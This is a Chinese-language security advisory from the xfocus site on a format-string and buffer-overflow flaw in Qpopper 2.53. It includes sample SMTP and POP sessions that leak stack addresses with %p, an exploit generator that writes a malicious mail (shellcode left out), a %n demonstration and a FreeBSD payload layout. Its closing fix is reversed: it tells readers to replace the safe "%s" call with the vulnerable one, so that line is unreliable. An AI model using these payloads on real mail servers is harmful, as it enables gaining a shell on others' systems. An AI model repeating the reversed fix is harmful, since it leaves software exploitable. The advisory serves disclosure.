xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

Qpoper2.53的远程溢出分析


发布时间:2000-05-10
更新时间:2000-05-10
严重程度:
威胁程度:远程管理员权限
错误类型:输入验证错误
利用方式:服务器模式

受影响系统
Qpopper 2.53 for *NIX
详细描述
Qpoper是一个应用广泛的POP3协议,是允许用户使用任何POP3客户端来访问
他们的MAIL,QPOPER一般是用来标准UNIX MAIL传输和作为sendmail或者smail的
分发代理。但在QPOP2.53中存在一个缺陷可以导致一个缓冲溢出,并衍生一个
GID=MAIL的SHELL,其中问题出在用于用户输入的eduidl命令的pop_msg()函数中,
下面的QPOP2.53的pop_uidl.c源码:

--> pop_uidl.c, 150行:
     ................
            sprintf(buffer, "%d %s", msg_id, mp->uidl_str);
            if (nl = index(buffer, NEWLINE)) *nl = 0;
            sprintf(buffer, "%s %d %.128s", buffer, mp->length, from_hdr(p, mp));
     !      return (pop_msg (p,POP_SUCCESS, buffer));
                                      ^^^^^^^^^^^^^
     .................

函数pop_msg()在pop_msg.c中是这样声明pop_msg(POP *p, int stat,const char *format,...),
上面这个函数需要format字符串的用户输入。现在回到原来的问题上,想象下面
smtp的会话:
    
         MAIL FROM:<hakker@evil.org>
         200 Ok
         RCPT TO:<luser@host.withqpop253.com>
         200 Ok
         data
         200 Okey, okey. end with "."
         Subject: still trust qpop?=/
         X-UIDL: AAAAAAAAAAAAAAAA
         From: %p%p%p%p%p%p%p

         test
         .
         200 BLABLABLA Ok, message accepted for delivery.

接下来luser使用他的POP帐号连接并运行euidl命令:

    +OK QPOP (version 2.53) at b0f starting. <666.666@b0f>
        USER luser
        +OK Password required for luser.
        PASS secret
        +OK luser has 3 messages (1644 octets).
        euidl 3
        +OK 2 AAAAAAAAAAAAAAAA 530 0xbfbfc9b00x804fd740xbfbfc9b00x2120x8052e5e0xbfbfd1e80x8057028

这是FREEBSD上的体现,你可以看到,我们%p%p%p%p%p%p%p在这里作为vsnprintf()
命令的参数采用了。

测试代码
下面一个是关于LINUX下的利用代码,但没有SHELL-CODE,大家可以自己找一下或者
干脆自己编一个,因为LINUX的QPOPER使用vsprintf() 调用,所以比较容易获得
缓冲溢出:
/*  qpop_euidl.c exploit by prizm/Buffer0verflow Security
*
*  Sample exploit for buffer overflow in Qpopper 2.53.
*  This little proggie generates a mail u need to send.
*
*  Standard disclaimer applies.
*  By the way, exploit is broken =) You need to insert shellcode.
*
*  MAD greets to tf8 for pointing out the bug, and all other b0f members.
*  greets to USSRLabs and ADM
*  check http://b0f.freebsd.lublin.pl/ for news.
*/
#include <stdio.h>
#include <string.h>

char shellcode[]="imnothing";
int main(int argc, char *argv[])
{
    int i;
    unsigned long ra=0;
    if(argc!=2) {
        fprintf(stderr,"Usage: %s return_addr\n", argv[0]);
        exit(0);
    }
    sscanf(argv[1], "%x", &ra);
    if(!ra)
        return;
    if(sizeof(shellcode) < 12 || sizeof(shellcode) > 76) {
        fprintf(stderr,"Bad shellcode\n");
        exit(0);
    }
    fprintf(stderr,"return address: 0x%.8x\n", ra);
    printf("X-UIDL: ");
    for(i=0; i < sizeof(shellcode);i++)
        printf("%c", shellcode[i]);
    printf("\r\n");
    printf("From: %s", "%.1000d");
    for(i=0; i < 50; i++)
        printf("%c%c%c%c", (ra & 0xff), (ra & 0xff00)>>8, (ra & 0xff0000)>>16, (ra & 0xff000000)>>24);
    printf("@test\r\n");
    printf("Subject: test\r\n\r\nhuh?\r\n.\r\n");
    return 0;
}


下面是针对FREEBSD的,因为在FREEBSD中使用vsnprintf()来代替vsprintf(),
所以我们不能利用堆栈溢出,但我们可以使用%n来控制它。没有列出EXPLOIT代码,
但见解了%n的用法,理解下面的代码,为何代码成功并打印出2000,而不是
sizeof(b):
---<cut>---
#include <stdio.h>
int main(void){
        int s=1; char b[1024]; int q;
        snprintf(b, sizeof(b), "%.2000d%n", 1, &q);
        return printf("%d, overflowed? %s\n", q, (s==1?"NO":"YES"));
}
---</cut>---


在FREEBSD3.4下可以使用下面的思路:

1)发现用户输入的堆栈地址。
2)编辑一带X-UIDL和FROM的信息:
    X-UIDL: ppRETARETARETARETA
        From: <SHELLCODE>%.RETURNd%n@test
    where:
    "pp"            填充字符
    "RETA"        指向SHELLCODE的返回地址
    "SHELLCODE"        猜测
    "RETURN"        返回地址

解决方案
到这个地址去下载3.1版本:http://www.eudora.com/freeware/qpop.html#CURRENT

或者使用return (pop_msg (p,POP_SUCCESS, buffer)); 代替return (pop_msg (p,POP_SUCCESS, "%s", buffer));

相关信息